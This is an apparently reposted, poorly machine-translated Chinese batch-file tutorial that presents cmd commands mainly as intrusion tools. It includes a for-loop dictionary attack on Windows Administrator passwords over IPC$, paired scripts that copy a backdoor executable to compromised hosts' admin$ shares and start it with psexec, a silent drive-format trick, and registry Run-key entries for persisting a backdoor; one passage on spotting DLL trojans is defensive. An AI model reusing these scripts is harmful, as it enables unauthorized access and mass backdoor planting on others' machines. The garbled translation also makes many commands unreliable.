Concise batch tutorial (classic) [转]

xiaoxiao2021-03-05  25

Recently, for the discussion of batch technology, there are many good batch procedures release, but if there is no certain related knowledge, I am afraid it is not easy to understand and understand these batch files, but also can't talk about my hands-on, The ancient language: "It is better to teach people to fish," Give all friends who have worked hard for the free and sharing of the network.

The batch file is a form of text file that contains one or more commands. Its file extension is .bat or .cmd. At the command prompt, the name of the approval file is submitted, or double-click the batch file, the system will call CMD.exe to run them one by one according to the order of each command in this file. Use batch files (also known as batch programs or scripts) to simplify daily or repetitive tasks. Of course, the main content of our version is to introduce some actual use in the invasion, such as the use of batch files to be mentioned later to make patch, bulk implant the latter procedures. Let's start our batch of learning trips.

1. Simple batch internal order profile

1.echo command opens back or off request back function, or displays a message. If there is no parameters, the echo command will display the current echo setting. Syntax Echo [{ON | OFF}] [Message] Sample: @echo off / echo hello world In practical applications, we will combine this command and redirect symbol (also known as pipe symbol, generally> >> ^) To enable input some commands to a specific format. This will be reflected in the later examples.

2. The @ command indicates that the @ later command is not displayed during the intrusion process (for example, using batch to format the enemy's hard drive) naturally not let the other party see the command you use. Sample: @echo off @ echo now initializing the program ... @ format x: / q / u / autoset (format This command is not available / y, the grateful is Microsoft left The parameter of Autoet gives us, the effects and / Y are the same.)

3.GOTO command specifies that the jump to the label. After finding the label, the program will process the command starting from the next row. Syntax: goto label (Label is the parameter, specifies the row in the batch program to be turned.) Sample: if {% 1} == {} goto noparmsif {% 2} == {} GOTO NOPARMS (if IF here, % 1,% 2, you don't understand, first jump, there will be detailed explanation. It is meaningful letters, letters before letting: It is used to indicate that this letter is a label, and the goto command is based on this: to find the next step to jump there. It is best to have some explanation that you will understand your intentions.

4.Rem Command Comment command, quite with / * in the C language -------- * /, which does not be executed, just a comment, easy to read and modify it later. Rem Messagesample: @Rem Here Is The Description.

5. Pause command When running the pause command, the following message will be displayed: press any key to turnue.. Sample: @echo off: begin copy a: *. * D: / backecho please put a new disk Into Driver a Pause Goto BeGin In this example, all files on the disk in the drive A are copied to D: / back. Display Note Tips When another disk is placed in the drive A, the PAUSE command will hang the program so that you can replace the disk and press any key to continue processing. 6.Call Command From a batch program to another batch program and does not terminate the parent batch program. The call command accepts the label used as calling the target. If you use Call outside the script or batch file, it will not work on the command line. Syntax Call [[DRIVE:] [PATH] FILENAME [BATCHPARETERS]] [: label [arguments]] parameter [drive:} [path] filename Specifies the location and name of the batch program to be called. The filename parameter must have a .bat or .cmd extension.

The 7.start command calls an external program, all DOS commands and command line programs can be called by the start command. Intrusion Common Parameters: MIN Starting Window Minimizes Separate Separated Space In Separated Space Time 16 WINDOWS Program High In the High Priority Category Start Application RealTime Start the application WAIT launch application and wait for it to end Parameters These The application that is transmitted to the parameter executed by the command / program is a 32-bit GUI application, and the cmd.exe does not equal the application to the command prompt. If executed within the command script, the new behavior will not happen. 8.choice Command Choice Use this command to allow users to enter a character to run different commands. When using, you should add / c: parameters, C: After you should write the prompt that the characters can be entered, there is no space. Its return code is 1234 ...

Such as: Choice / C: DME DEFRAG, MEM, END will display DEFRAG, MEM, END [D, M, E]? Sample: Sample.bat is as follows: @echo off choice / C: DME DEFRAG, MEM, END IF Errorlevel 3 Goto Defrag (first judge the highest value of the highest value) IF Errotlevel 2 Goto Mem if Errotlevel 1 goto end: defrag c: / dos / defrag goto end: Mem Mem Goto end: End echo good by this file, Display the DEFRAG, MEM, END [D, M, E]? The user can select DME, and then the IF statement will make a judgment, and D represents the block segment executing the label DEFRAG, and m represents the block, e represents the execution mark. For END block, each block is finally jumped to the END Number with goto End, and then the program will display good bye, the file ends. 9. IF Command If Indicates whether to meet the specified conditions, thereby deciding to perform different commands. There are three formats: 1, if "==" String "The command parameter to be executed is equal to the specified string, the condition is established, run the command, otherwise run the next sentence. (Note is two equal numbers), such as if "% 1" == "a" format A: if {% 1} == {} goto noparmsif {% 2} == {} goto noparms2, if the application If there is a specified file, the condition is established, run the command, otherwise run the next sentence. If if exist config.sys edit config.sys 3, if ErrorleVel / if not errorlevel digitally peers to be executed If the return code is equal to the specified number, the condition is established, run the command, otherwise run the next sentence. If the IF ErrorLevel 2 Goto X2 DOS program is running, a number will be returned to DOS, called an error code errorlevel or a return code. The common return code is 0, 1.10.for command for command is a more complex command, mainly The parameter is used to perform commands within the specified range. When using the for command in the batch file, specify the variable, please use %% VariableFor {% Variable | %% Variable} in (SET) Do Command [CommandLineOptions]% Variable Specifies a single letter replaceable parameter. (SET) Specify one or a set of files. You can use wildcards. Command specifies the command to execute each file. Command-parameters specifies parameters or command line switches for a specific command. When using the for command in a batch file, specify the variable, please use %% Variable without using% Variable. The variable name is case sensitive, so% i is different from% i if the command extension is enabled, the following additional for command format will be supported: for / d% variable in (set) do command [command-parameters] If concentrated Contains a wildcard, specify matching with the directory name without matching the file name. FOR / R [[DRIVE:] PATH]% Variable In (SET) Do Command [Command-Check Take the directory tree in [Drive:] Path, pointing to the for statement in each directory. If there is no specified directory after / r, use the current directory.

If the set is only one single point (.) Character, the directory tree is enumerated. FOR / L% Variable in (Start, Step, End) Do Command [Command-Para This set represents a digital sequence from the beginning to the end in incremental form. Therefore, (1, 1, 5) will produce sequences 1 2 3 4 5, (5, -1, 1) will produce a sequence (5 4 3 2 1). FOR / F ["Options"]% variable in (file-set) Do Command for / f ["Options"]% variable in ("string") Do Command for / f ["Options"]% Variable in (Command) Do Command or if there is a usebackq option: for / f ["Options"]% variable in (file-set) Do Command for / f ["Options"]% variable in ("string") do command for / f [" Options "]% Variable In (Command) do command filenameset is one or more file names. Before proceeding to the next file in the filenameset, each file has been opened, read and processed. Processing includes reading a file, dividing it into a line of rows, and analyzing each line into zero or more symbols. The FOR cycle is then called with the string variable value of the string. With the default, / f is separated from the first blank symbol of each line of each file. Skip blank lines. You can replace the default parsing operation by specifying an optional "Options" parameter. This band-quoted string includes one or more keywords that specify different parses options. These keywords are: eol = c - refers to the end of a row bet release character (one) Skip = n - refers to the number of rows ignored at the beginning of the file. Delims = xxx - Indicator jacket set. This default separator set replaces the space and the jumping. Tokens = x, y, m-n - means which symbols per row are passed to each iteration for itself. This will result in a range of additional variable names. Specify the last character as an asterisk in the M symbol string via the NTH symbol, then the additional variable will assign and accept the reserved text of the row in the last symbol. Usebackq - Specify new syntax is already in the case of using: Perform a string of a back quotation as a command and the quotation marks characters are text string commands and allow the use of double quotes to expand the file name in Fi. Sample1: for / f "eol =; tokens = 2, 3 * delims =,"% i in (myfile.txt) do command will analyze every line in MyFile.txt, ignore those lines that are headers with a semicolon, will The second and third symbols in the row are passed to the forpriology; with a tend to be used with / or a space symbol. Note that the statement of this FOR program references% i to acquire the second symbol, reference% J to obtain the third symbol, refer to% K to get all the remaining symbols after the third symbol. For file names with spaces, you need to create files with double quotes. In this way, double quotes are used, you also need to use the UseBackQ option, otherwise the dual quotation marks will be understood to be used as a string to define a certain analysis. % i is specifically description in the For statement,% J and% K are specifically demonstrated by the tokens = option. You can specify up to 26 symbols via tokens =, as long as you do not attempt to illustrate a variable above the letter Z or Z. Keep in mind that for variables are single letters, case sensitive and global; at the same time, there is not more than 52 or more.

You can also use FOR / F analysis logic on adjacent strings; method is to enclose the filenameset between brackets with single quotes. Thus, the character is called a single input line in a file. Finally, you can use the for / f command to analyze the output of the command. The method is to turn the filenameset between brackets into a hind string. This string will be regarded as a command line, pass to a sub-cmd.exe, and its output will be grasped into memory and is used as a file analysis. Therefore, the following example: for / f "UseBackQ Delims =="% I in (`set`) Do @echo% i enumerate the name of the environment variable in the current environment. In addition, the replacement of the FOR variable reference has been enhanced. You can now use the following options: ~ i - Delete any quotation marks ("), expand% i% ~ FI - expand% i to a fully qualified path name% ~ Di - expand% i to a drive number% ~ pi - only expand% i to a path% ~ Ni - expand% i to a file name% ~ xi - expand% i to a file extension name% ~ Si - the extended path only contains short name% ~ AI - expand% i to file file attribute% ~ Ti - expand% i to file Date / time% ~ zi - expand% i to file size% ~ Path: i - Find column in the path environment The catalog of the variable and expand% i to the first fully qualified name. If the environment variable is not defined, or if the file is not found, this combined key will expand the empty string to combine the modifier to get multiple results:% ~ DPI - only expand% i to a drive letter and path% ~ nxi - only% i expand% i to a file name and extension% ~ fsi - only% i to a full path name with a short name ~ DP $ PATH: I - Find the directory column of the path environment variable and expand% i to the found first drive letter and path.% ~ ftzai - expand% i to the DIR of the similar output line in the above example, % I and PATH can be replaced with other effective values.% ~ Syntax is terminated with a valid for variable name. Select the big-write variable name similar to% i is more readily read, and avoid confusion with a combination of regardless casement. The above is MS Official help, let's take a few examples to specify the use of the for command in the invasion. Sample2: Use the for command to achieve the violent password for a target Win2k host. We use NET USE // IP / IPC $ " Password "/ u:" administrator "to try this to connect with the target host, and write a password when successful. The most important command is a: for / fi% in (dict.txt) Do Net USE // IP / IPC $ "I%" / u: "administrator" uses I% to represent the password of Admin, in Dict.txt, the value of the I% is connected to the NET USE command. Then transfer the program running result to the FOR / FI %% in (Dict.txt) Do Net USE // IP / IPC $ "I %%" / u: "Administrator" | Find ": command successfully complete" >> D: /ok.txt, so Ko .Sample3: Have you had a lot of broilers waiting for you to go to the back door Trojan ? When the number is particularly, it will become very depressed when the number is very happy :). The opening of the article talked to the use of batch files to simplify daily or repetitive tasks. So how do you implement it? Oh, you will understand it.

The main order is only one: (when using the for command in the batch file, specify the variable using %% variable) @for / f "tokens = 1, 2, 3 delims =" %% I in (Victim.txt) do Start Call door.bat %% I %% J %% KToKens Usage See Sample1 above, here it represents the parameter% I% J% K in door.txt in order. CultiVate.bat is nothing more than using the NET USE command to create an IPC $ connection, and COPY Trojan back door to Victim, then use the return code (if Errorlever =) to filter the host of the back door, and echo, or echo to the specified file. Delims = indicates that the content in Vivtim.txt is separated by a space. I want to see this here, you must also understand what is what this Victim.txt is like. It should be arranged in accordance with the object expressed by the %% I %% J %% K, which is generally IP Password UserName.

Code: --------------- Cut Here The Save As a Batchfile (i call it main.bat) ----------------- ---------- @ echo off @ IF "% 1" == "" goto usage @ for / f "tokens = 1, 2, 3 delims =" %% i in (Victim.txt) DO START CALL IPCHACK.BAT %% I %% J %% K @ Goto end: usage @ echo run this bath in dos mode.or Just double-click it.:End ------------- - Cut Here Ten Save as a Batchfile (I Call it main.bat) --------------------------------- ------------- Cut Here The Save As a Batchfile (I Call it door.bat) ---------------------- ------ @ Net USE / /% 1 / IPC $% 3 / U: "% 2" @IF Errorlevel 1 goto failed @ echo trying to establish the ipc $ connection ............ ok @ Copy WinDRV32. EXE / /% 1 / admin $ / SYSTEM32 && IF NOT Errorlevel 1 Echo IP% 1 User% 2 PWD% 3 >> Ko.txt@psexec //% 1 C: /Winnt/System32/Windrv32.exe@psexec /// % 1 Net Start Windrv32 && if Not Errorlevel 1 Echo% 1 Backdooored >> Ko.txt: failed @ echo sorry can not connect to the victim. ----------------- Cut Here Then Save as a batchfile (i call it door.bat) -------------------------------- this is just an automatic planting Latter batch The prototype, two batch and latte programs (Windrv32.exe), psexec.exe needs to be placed under the unified directory. Batch content can be extended, for example: add to clear log DDOS, join timing add users , More deeper, can make it automatically propagated (worm). Not much to describe, interested friends can study themselves. II. How to use parameter batch in the batch file, generally from 1 % To 9%, this nine, when there are multiple parameters, you need to move with Shift, this situation is not very common, we don't consider it.

Sample1: fomat.bat@echo offif "% 1" == "a" format A:: format @ Format A: / q / u / AuotSet @ echo please insert Another Disk to driver A. @ Pause @ goto fomat This example is used In continuous formatting a few floppy disks, then you need to enter fomat.bat a in the DOS window, huh, it seems to have a bit paint snake to add ~ ^ _ ^ Sample2: When we want to build an IPC $ Connection, we must always enter a big string. Command, can't get wrong, so we better write some fixed commands to a batch, put the broiler ip password username to assign the parameters to this batch, so you don't have to play a command every time. @echo off @ net USE // 1% / IPC $ "2%" / u: "3%" Note Oh, this PASSWORD is the second parameter. @IF ERRORLVEL 1 Echo Connection Failed, use the parameter or simpler? You have learned to learn ^ _ ^. No.3. How to use the Compound Command 1. & usage: First Command & Second Command [& Article 3 Commands ...] Use this method Multiple commands can be performed at the same time, regardless of whether the command is executed Sample: C: C: C: C: /> SYSTEM CANNOT FIND THE PATH Specified.volume In Drive C Has No Label.volume Serial Number IS 0078-59FBDIRECTory Of C: / EX4RCH2002-05-14 23:51

.2002-05-14 23:51 ..2002-05-14 23:51 14 Sometips.gif2. && usage: 1 Command && Two commands [&& third commands ...] Use this method to perform multiple commands simultaneously, when you encounter an error, you will not perform the back command, if there is no error, you have been executed all commands; Sample: C: /> DIR Z: && Dir C: / Ex4rchthe System Cannot Find The Path Specified.c: /> DIR C: / EX4RCH && DIR Z: VOLUME IN Drive C Has No Label.volume Serial Number IS 0078-59FBDIRECTory Of C: / EX4RCH2002-05-14 23:55 .2002-05-14 23:55 ..2002-05-14 23:55 14 Sometips.gif1 file (s) 14 bytes2 DIR (S 768, 671, 744 BYTES FREETHE SYSTEM Cannot Find The Path Specified. It may be relatively simple when doing backup, such as: Dir file: //192.168.0.1/Database/backup.mdb && copy file: //192.168 .0.1 / database / backup.mdb e: / backup If there is a backup.mdb file on the remote server, the copy command is executed if the file does not exist.

This usage can be replaced if EXIST:) 3. || USAGE: First Commands || Second Order [|| Article 3 Commands ...] Use this method to perform multiple commands at the same time, when touching After performing the correct command, the following command will not be executed. If there is no correct command, all commands have been executed; Sample: C: / EX4RCH> DIR SOMETIPS.GIF || Del Sometips.gifvolume In Drive C Has No label. Volume Serial Number IS 0078-59FBDirectory of C: / EX4RCH2002-05-14 23:55 14 Sometips.gif1 File (s) 14 Bytes0 Dir (s) 768, 696, 320 BYtes Free Combination Command Used: Sample: @copy Trojan.exe / /% 1 / admin stem32 && if not errorlevel 1 echo ip% 1 user% 2 pass% 3 >> Victim.txt 4. Use 1. | Command USAGE: First Command | 2 Command [ Article 3 Commands ...] Use the results of the first command as the parameters of the second command, remember this in the Unix is ​​very common. Sample: Time / >D: /ip.log netstat -n -p TCP | Find ": 3389" >> D: /ip.log start expected? Used for Terminal Services Allows us to customize the starting program for users to achieve the following BAT to get the IP of the login user. 2. >> Output Redirection command Redirects a command or an output result of a program to a specific file,> and >> Differences in>> Write the specified file after the contents in the file And >> Only the content will be added to the specified file without changing the content. Sample1: echo hello world> c: /Hello.txt (stupid eXample?) Sample2: DLL Trojan is prevalent, we know that SYSTEM32 is a good place to catch a hide, and many Trojans have turned the head to drill there. DLL Horse is no exception. For this, we can make a record on the EXE and DLL files under this directory after installing the system and the necessary applications: Run the CMD - Convert directory to System32 - Dir * .exe> ​​EXEBACK.TXT & DIR * .dll> DLLBACK.TXT, so all the names of all EXE and DLL files are recorded in ExeBack.txt and DLLBACK.TXT, if they find abnormalities, if they find out, if they can be found with traditional methods, they should consider whether they are considered. The system has sneaked into the DLL Trojan. At this time, we record the exe and dll files under System32 with the same command to DLLBACK1.TXT, then run: cmd - fc execk.txt exeback1.txt> Diff.txt & FC DLLBACK.TXT DLLBACK1.TXT> Diff.txt. (with the FC command compares the DLL and EXE files before and after, and enter the result into Diff.txt), so we can find some more DLL and EXE files, and then easily determine whether it has been patron with DLL Trojans by viewing the creation time, version, whether or not compressed, etc. No, if there is any words, don't drop it directly, first use the regsvr32 / u trojan.dll to remove the back door DLL file, move it to the recycle station, if the system does not exception reflection, then completely delete or Submit to anti-virus software.

3. <,> &, <& & To write the output of a handle to another handle. <& Joint input from one handle and writes it to another handle output. These are not commonly used, and there is not much introduction. No.5. How to use batch file to operate registry frequently return to the specific key value of the registry during the intrusion process, for example, to reach the hidden back door, Trojan delete Run's residual keys value. Or create a service to load the back door. Of course, we will also modify the registry to reinforce the system or change an attribute of the system, which requires us to have a certain understanding of the registry operation. Let's take a look at how to use the .reg file to operate the registry. (We can use batch to generate a REG file) About the operation of the registry, common is to create, modify, delete. 1. Creating a creation is divided into two kinds, one is to create a child (Subkey) We create a file, the content is as follows: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Hacker] Then execute this script, you are already in hkey_local_machine The child created a name "Hacker" under / Software / Microsoft. The other is to create a project name that this file format is a typical file format, which is consistent with the file format you exported from the registry. The content is as follows: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] "infader" = "ex4rch" "door" = c: //winnt/system32//door.exe "autodos" = dword: 02 This is in [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] New: Invader, Door, About These three projects INVADER type is "String Value" Type is "Reg Sz Value" Autodos type is "dword value" 2. Modification is relatively simple, just put you The project export that needs to be modified, then modified with Notepad, then import (regedit / s). 3. Delete Let's first delete a project name, we create a file: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] "EX4RCH" = - Execute this script, [HKEY_LOCAL_MACHINE / "EX4RCH" under Software / Microsoft / Run] is deleted; let's take a look at the delete a child, we create a script: Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / Currentversion / run] Execute this script, [HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run] has been deleted. I believe it is .reg files you have already mastered. Then the current goal is to use batch to create a .reg file, remember that our previous use of redirect symbols can easily create specific types of files.

转载请注明原文地址:https://www.9cbs.com/read-37749.html

New Post(0)